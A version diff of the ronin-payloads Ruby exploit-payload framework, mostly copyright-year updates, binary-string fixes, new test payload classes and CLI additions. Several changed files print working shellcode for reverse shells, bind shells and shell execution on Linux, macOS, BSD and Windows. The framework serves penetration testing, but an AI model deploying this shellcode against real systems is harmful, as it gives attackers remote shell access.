ronin-payloads 0.1.6 → 0.2.0.rc1

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -59,7 +58,7 @@ module Ronin
                          "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
                          "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
                          "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
-                         "\x5f\x6a\x3b\x58\x0f\x05"
+                         "\x5f\x6a\x3b\x58\x0f\x05".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -56,7 +55,7 @@ module Ronin
               @payload = "\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01" \
                          "\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6" \
                          "\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69" \
-                         "\x6e\x2f\x2f\x73\x68"
+                         "\x6e\x2f\x2f\x73\x68".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -61,7 +60,7 @@ module Ronin
                          "\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83" \
                          "\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48" \
                          "\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed" \
-                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05"
+                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -75,7 +74,7 @@ module Ronin
                          "\x01\x01\x01\x01" \
                          "\x02\x02\x02\x02" \
                          "\x03\x03\x03\x03" \
-                         "\x9a\x04\x04\x04\x04\x07\x04"
+                         "\x9a\x04\x04\x04\x04\x07\x04".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb

@@ -4,7 +4,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -61,7 +60,7 @@ module Ronin
                          "\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d" \
                          "\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51" \
                          "\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f" \
-                         "\x73\x68\x41\x90"
+                         "\x73\x68\x41\x90".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -53,18 +52,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x99" +                 # cltd
-                         "\x52" +                 # push	%edx
-                         "\x68\x6e\x2f\x73\x68" + # push	$0x68732f6e
-                         "\x68\x2f\x2f\x62\x69" + # push	$0x69622f2f
-                         "\x89\xe3" +             # mov	%esp,%ebx
-                         "\x52" +                 # push	%edx
-                         "\x54" +                 # push	%esp
-                         "\x53" +                 # push	%ebx
-                         "\x53" +                 # push	%ebx
-                         "\x6a\x3b" +             # push	$0x3b
-                         "\x58" +                 # pop	%eax
-                         "\xcd\x80"               # int	$0x80
+              @payload = "\x99".b +                 # cltd
+                         "\x52".b +                 # push	%edx
+                         "\x68\x6e\x2f\x73\x68".b + # push	$0x68732f6e
+                         "\x68\x2f\x2f\x62\x69".b + # push	$0x69622f2f
+                         "\x89\xe3".b +             # mov	%esp,%ebx
+                         "\x52".b +                 # push	%edx
+                         "\x54".b +                 # push	%esp
+                         "\x53".b +                 # push	%ebx
+                         "\x53".b +                 # push	%ebx
+                         "\x6a\x3b".b +             # push	$0x3b
+                         "\x58".b +                 # pop	%eax
+                         "\xcd\x80".b               # int	$0x80
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -53,26 +52,26 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x31\xC9" +                 # xor ecx,ecx
-                         "\x64\x8B\x71\x30" +         # mov esi,[fs:ecx+0x30]
-                         "\x8B\x76\x0C" +             # mov esi,[esi+0xc]
-                         "\x8B\x76\x1C" +             # mov esi,[esi+0x1c]
-                         "\x8B\x36" +                 # mov esi,[esi]
-                         "\x8B\x06" +                 # mov eax,[esi]
-                         "\x8B\x68\x08" +             # mov ebp,[eax+0x8]
-                         "\xEB\x20" +                 # jmp short 0x35
-                         "\x5B" +                     # pop ebx
-                         "\x53" +                     # push ebx
-                         "\x55" +                     # push ebp
-                         "\x5B" +                     # pop ebx
-                         "\x81\xEB\x11\x11\x11\x11" + # sub ebx,0x11111111
-                         "\x81\xC3\xDA\x3F\x1A\x11" + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
-                         "\xFF\xD3" +                 # call ebx
-                         "\x81\xC3\x11\x11\x11\x11" + # add ebx,0x11111111
-                         "\x81\xEB\x8C\xCC\x18\x11" + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
-                         "\xFF\xD3" +                 # call ebx
-                         "\xE8\xDB\xFF\xFF\xFF" +     # call dword 0x15
-                         "\x63\x6d\x64"               # db "cmd"
+              @payload = "\x31\xC9".b +                 # xor ecx,ecx
+                         "\x64\x8B\x71\x30".b +         # mov esi,[fs:ecx+0x30]
+                         "\x8B\x76\x0C".b +             # mov esi,[esi+0xc]
+                         "\x8B\x76\x1C".b +             # mov esi,[esi+0x1c]
+                         "\x8B\x36".b +                 # mov esi,[esi]
+                         "\x8B\x06".b +                 # mov eax,[esi]
+                         "\x8B\x68\x08".b +             # mov ebp,[eax+0x8]
+                         "\xEB\x20".b +                 # jmp short 0x35
+                         "\x5B".b +                     # pop ebx
+                         "\x53".b +                     # push ebx
+                         "\x55".b +                     # push ebp
+                         "\x5B".b +                     # pop ebx
+                         "\x81\xEB\x11\x11\x11\x11".b + # sub ebx,0x11111111
+                         "\x81\xC3\xDA\x3F\x1A\x11".b + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
+                         "\xFF\xD3".b +                 # call ebx
+                         "\x81\xC3\x11\x11\x11\x11".b + # add ebx,0x11111111
+                         "\x81\xEB\x8C\xCC\x18\x11".b + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
+                         "\xFF\xD3".b +                 # call ebx
+                         "\xE8\xDB\xFF\xFF\xFF".b +     # call dword 0x15
+                         "\x63\x6d\x64".b               # db "cmd"
             end
 
           end

data/lib/ronin/payloads/builtin/test/cmd.rb

@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+#
+# ronin-payloads - A Ruby micro-framework for writing and running exploit
+# payloads.
+#
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
+#
+# ronin-payloads is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# ronin-payloads is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with ronin-payloads.  If not, see <https://www.gnu.org/licenses/>.
+#
+
+require 'ronin/payloads/command_payload'
+
+module Ronin
+  module Payloads
+    module Test
+      #
+      # A test command payload. Allows using a custom command with exploits that
+      # require a command payload.
+      #
+      # @since 0.2.0
+      #
+      class CMD < CommandPayload
+
+        register 'test/cmd'
+
+        summary "A test command payload"
+        description <<~DESC
+          Allows specifying a custom command for exploits that require a
+          command payload.
+        DESC
+
+        param :command, String, required: true,
+                                desc:    'The command to execute'
+
+        def build
+          @payload = params[:command]
+        end
+
+      end
+    end
+  end
+end

data/lib/ronin/payloads/builtin/test/open_redirect.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/builtin/test/url.rb

@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+#
+# ronin-payloads - A Ruby micro-framework for writing and running exploit
+# payloads.
+#
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
+#
+# ronin-payloads is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# ronin-payloads is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with ronin-payloads.  If not, see <https://www.gnu.org/licenses/>.
+#
+
+require 'ronin/payloads/url_payload'
+
+module Ronin
+  module Payloads
+    module Test
+      #
+      # A test URL payload. Allows using a custom URL with exploits that
+      # require a URL payload.
+      #
+      # @since 0.2.0
+      #
+      class URL < URLPayload
+
+        register 'test/url'
+
+        summary "A test command payload"
+        description <<~DESC
+          Allows specifying a custom URL for exploits that require a
+          URL payload.
+        DESC
+
+        param :url, String, required: true,
+                            desc:    'The custom URL'
+
+        def build
+          @payload = params[:url]
+        end
+
+      end
+    end
+  end
+end

data/lib/ronin/payloads/builtin/test/xss.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/c_payload.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -20,6 +20,7 @@
 #
 
 require 'ronin/payloads/binary_payload'
+require 'ronin/payloads/mixins/c_compiler'
 
 module Ronin
   module Payloads
@@ -28,6 +29,8 @@ module Ronin
     #
     class CPayload < BinaryPayload
 
+      include Mixins::CCompiler
+
       #
       # Returns the type or kind of payload.
       #
@@ -42,65 +45,6 @@ module Ronin
         :c
       end
 
-      #
-      # The default C compiler.
-      #
-      # @return [String]
-      #
-      def self.cc
-        ENV['CC'] || 'cc'
-      end
-
-      param :cc, required: true,
-                 default:  -> { cc },
-                 desc:     'The C compiler to use'
-
-      #
-      # Compiles one or more source files using `cc`.
-      #
-      # @param [Array<String>] source_files
-      #   The source file(s) to compile.
-      #
-      # @param [String] output
-      #   The output file path.
-      #
-      # @param [Array<String>, Hash{Symbol,String => String}, nil] defs
-      #   Additional macro definitions to pass to the compiler.
-      #
-      # @raise [ArgumentError]
-      #   `defs` was not an Array or a Hash.
-      #
-      # @raise [BuildFailed]
-      #   The `cc` command failed or is not installed.
-      #
-      def compile(*source_files, output: , defs: nil)
-        args = [params[:cc], '-o', output]
-
-        if defs
-          case defs
-          when Array
-            defs.each do |value|
-              args << "-D#{value}"
-            end
-          when Hash
-            defs.each do |name,value|
-              args << "-D#{name}=#{value}"
-            end
-          else
-            raise(ArgumentError,"defs must be either an Array or a Hash: #{defs.inspect}")
-          end
-        end
-
-        args.concat(source_files)
-
-        case system(*args)
-        when false
-          raise(BuildFailed,"cc command failed: #{args.join(' ')}")
-        when nil
-          raise(BuildFailed,"cc command not installed")
-        end
-      end
-
     end
   end
 end

data/lib/ronin/payloads/cli/command.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/build.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -42,7 +42,7 @@ module Ronin
         #         --format                     Formats the outputed data
         #     -p, --param NAME=VALUE           Sets a param
         #     -o, --output FILE                Output file to write the built payload to
-        #     -e, --encoder ENCODER            Adds the encoder to the payload
+        #     -E, --encoder ENCODER            Adds the encoder to the payload
         #         --encoder-param ENCODER.NAME=VALUE
         #                                      Sets a param for one of the encoders
         #     -D, --debug                      Enables debugging messages
@@ -65,7 +65,7 @@ module Ronin
                           },
                           desc: 'Output file to write the built payload to'
 
-          option :encoder, short: '-e',
+          option :encoder, short: '-E',
                            value: {
                              type:  String,
                              usage: 'ENCODER'

data/lib/ronin/payloads/cli/commands/completion.rb

@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+#
+# ronin-payloads - A Ruby micro-framework for writing and running exploit
+# payloads.
+#
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
+#
+# ronin-payloads is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# ronin-payloads is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with ronin-payloads.  If not, see <https://www.gnu.org/licenses/>.
+#
+
+require 'ronin/payloads/root'
+require 'ronin/core/cli/completion_command'
+
+module Ronin
+  module Payloads
+    class CLI
+      module Commands
+        #
+        # Manages the shell completion rules for `ronin-payloads`.
+        #
+        # ## Usage
+        #
+        #     ronin-payloads completion [options]
+        #
+        # ## Options
+        #
+        #         --print                      Prints the shell completion file
+        #         --install                    Installs the shell completion file
+        #         --uninstall                  Uninstalls the shell completion file
+        #     -h, --help                       Print help information
+        #
+        # ## Examples
+        #
+        #     ronin-payloads completion --print
+        #     ronin-payloads completion --install
+        #     ronin-payloads completion --uninstall
+        #
+        # @since 0.2.0
+        #
+        class Completion < Core::CLI::CompletionCommand
+
+          completion_file File.join(ROOT,'data','completions','ronin-payloads')
+
+          man_dir File.join(ROOT,'man')
+          man_page 'ronin-payloads-completion.1'
+
+          description 'Manages the shell completion rules for ronin-payloads'
+
+        end
+      end
+    end
+  end
+end

data/lib/ronin/payloads/cli/commands/encode.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/encoder.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/encoders.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/irb.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/launch.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/list.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/cli/commands/show.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -110,9 +110,52 @@ module Ronin
               print_description(payload)
               print_references(payload)
               print_params(payload)
+              print_payload_usage(payload)
             end
           end
 
+          #
+          # Prints an example `ronin-payloads build` command for the payload.
+          #
+          # @param [Class<Payload>] payload
+          #
+          # @since 0.2.0
+          #
+          def print_payload_usage(payload)
+            puts "Usage:"
+            puts
+            puts "  $ #{example_build_command(payload)}"
+            puts
+          end
+
+          #
+          # Builds an example `ronin-payloads build` command for the payload.
+          #
+          # @param [Class<Payload>] payload
+          #
+          # @return [String]
+          #   The example `ronin-payloads build` command.
+          #
+          # @since 0.2.0
+          #
+          def example_build_command(payload)
+            command = ['ronin-payloads', 'build']
+
+            if options[:file]
+              command << '-f' << options[:file]
+            else
+              command << payload.id
+            end
+
+            payload.params.each_value do |param|
+              if param.required? && !param.default
+                command << '-p' << "#{param.name}=#{param_usage(param)}"
+              end
+            end
+
+            return command.join(' ')
+          end
+
         end
       end
     end